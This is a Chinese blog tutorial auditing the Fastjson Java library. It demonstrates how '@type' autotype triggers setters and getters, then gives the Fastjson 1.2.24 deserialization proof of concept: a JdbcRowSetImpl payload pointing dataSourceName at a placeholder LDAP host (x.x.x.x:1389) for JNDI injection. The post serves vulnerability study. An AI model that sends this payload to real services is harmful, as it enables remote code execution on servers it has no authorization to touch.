首页 > 其他分享 >代码审计之Fastjson

代码审计之Fastjson

时间:2024-12-16 20:58:40浏览次数:6  
标签:Fastjson 审计 String JSONObject 代码 JSON com anger data

写一个demo

package cn.anger.fastjsontest.demos.web;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastjsonController {
    public static void main(String[] args) {

        //利用Fastjson去解析变量数据
        String str="{\"name\":\"anger\",\"age\":18}}";
        JSONObject data=JSON.parseObject(str);
        System.out.println(data);

    }
}
  • 先写一个demo,这里主要是利用Fastjson去解析变量数据

![](https://i-blog.csdnimg.cn/img_convert/fdb9c7286217109b4

这里将这个语句换成这个:

package cn.anger.fastjsontest.demos.web;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastjsonController {
    public static void main(String[] args) {

        //利用Fastjson去解析变量数据
        String str="{\"name\":\"anger\",\"age\":18}";
//        JSONObject data=JSON.parseObject(str);
        String userStr = "{\"@type\":\"cn.anger.fastjsontest.demos.web.User\",\"age\":22,\"name\":\"anger\"}";
        JSONObject data=JSON.parseObject(userStr);
        System.out.println(data);

    }
}

在这里插入图片描述

这里输出结果就是anger和22

但是前面的内容没有了

这里我将这个user类中的默认set,getname类输出,接着在尝试打印结果

在这里插入图片描述

这时候就会出现这个打印的结果

所以这个时候将 userstr中的参数减少,那么执行的类的方法也会减少,只会直接执行其中的对应类

那么也就说明:传入其他类解析后默认执行set get类方法

接着使用Fastjson1.2.24这个版本的poc来进行分析:

还是先需要启动jndi注入命令:

在这里插入图片描述

然后需要再demo中修改代码:

package cn.anger.fastjsontest.demos.web;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastjsonController {
    public static void main(String[] args) {

        //利用Fastjson去解析变量数据
        String str="{\"name\":\"anger\",\"age\":18}";
//        JSONObject data=JSON.parseObject(str);
        String userStr = "{\"@type\":\"cn.anger.fastjsontest.demos.web.User\",\"age\":22}";
        //恶意poc
        String Pocstr = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://x.x.x.x:1389/m6pqb\", \"autoCommit\":true}\n";


        JSONObject data=JSON.parseObject(Pocstr);
        System.out.println(data);

    }
}

在这里插入图片描述

<

标签:Fastjson,审计,String,JSONObject,代码,JSON,com,anger,data
From: https://blog.csdn.net/weixin_60584088/article/details/144517376

相关文章

  • 注意力机制分类、详解及代码复现
    定义与起源注意力机制源于对人类视觉系统的深入研究,模拟了人类大脑在处理海量信息时的选择性关注能力。这一机制使神经网络能够在处理复杂输入时,自动识别并聚焦于最关键的部分,从而提高模型的性能和泛化能力。通过这种方式,注意力机制有效解决了信息过载的问题,在计算资源受......
  • 分布式锁代码编写问题分析
     先给大家一段代码示例:@AutowiredRedissonredisson;@GetMapping("/modifyInfo/{id}")publicResultmodifyInfo(@PathVariableStringid){StringlockKey=RedisLockConstant.ERP_CLUE_LOCK+id;RLockrLock=redisson.getLo......
  • 计算赤纬、时角与理论太阳可照时数(附代码)
    基于Python的可照时数的计算_可照时数的微机计算程序-CSDN博客这篇博客帮我初期找到了计算方向,但他用于计算赤纬(θ)和时角(w)的公式来历比较奇怪,没有沿用。(一)代码frommathimport*defpossibleSunshineDuration(N,lat_deg):""":paramN:日数(N):paramlat_deg:纬度......
  • Python生成雪花、代码雨、绝美圣诞树!?
    下面给大家发一些有趣不知道的Python代码,超级有趣,快去试试!日常放松一下,给爱的人发过去吧!1、绘制分形图形(以科赫雪花为例)importturtledefkoch(t,order,size):iforder==0:t.forward(size)else:foranglein[60,-120,60,0]:......
  • 使用wsimport命令生成webService客户端代码
    wsimport 是JDK自带的一个工具,可以根据WSDL文件生成Java类。1.进入JDK/bin目录,从地址栏进入cmd 2.执行如下命令:wsimport-keep-sD:\tmp-pcom.cn.phone-verbosehttp://ws.webxml.com.cn/WebServices/MobileCodeWS.asmx?wsdl-keep:是否生成java源文件-s:指定.ja......
  • 用腾讯云AI代码助手开发一款数据库敏感信息检查工具
    引言作为一个优秀的IT技术民工,需要始终学习先进的技术并将技术转换为生产力,目前AI领域编码辅助工具层出不穷,开发者有必要或者说必须要掌握相关工具的使用,以提高编码效率,降低编码错误。这次我通过一个简单的项目和大家分享一下腾讯云AI代码助手的使用。AI开发实践开发环......
  • cordova-plugin-wechat实现微信登录授权,我本地打包可以拉起微信并进入授权成功回调函
    经过打包了很多次的测试,发现问题出在了cordova版本上,之前因为需要降低node.js的版本,重新安装了cordova为最新版本12.0.0,在这个环境下,我打包出来的签名包可以正常拉起微信并进入授权成功回调函数。之前开发配置的cordova版本是11.1.0,这个版本打出来的包就是可以拉起微信,但进入去授......
  • 代码随想录算法训练营第四十八天|739.每日温度、496.下一个更大元素、503.下一个更大
    1leetcode739.每日温度题目链接:739.每日温度-力扣(LeetCode)文章链接:代码随想录视频链接:单调栈,你该了解的,这里都讲了!LeetCode:739.每日温度哔哩哔哩bilibili思路:就真的是暴力搜索来写这道题目,但是呢,有些示例里面就超时了,至少有点思路了吧,也算是好消息1.1自己的方法能......
  • 代码随想录算法训练营第四十六天|leetcode647. 回文子串、leetcode516.最长回文子序列
    1leetcode647.回文子串题目链接:647.回文子串-力扣(LeetCode)文章链接:代码随想录视频链接:动态规划,字符串性质决定了DP数组的定义|LeetCode:647.回文子串哔哩哔哩bilibili思路:嘿,看不懂有一点,看解析吧1.1视频后的方法其实看完视频以后,感觉这个题目真的不难,我想到了二维......
  • 代码随想录算法训练营第四十五天|leetcode115.不同的子序列、leetcode583. 两个字符串
    1leetcode115.不同的子序列题目链接:115.不同的子序列-力扣(LeetCode)文章链接:代码随想录视频链接:动态规划之子序列,为了编辑距离做铺垫|LeetCode:115.不同的子序列哔哩哔哩bilibili思路:确实看不懂题目,还是看解析吧1.1视频后的方法有一种我看了视频,也没有那么理解是为......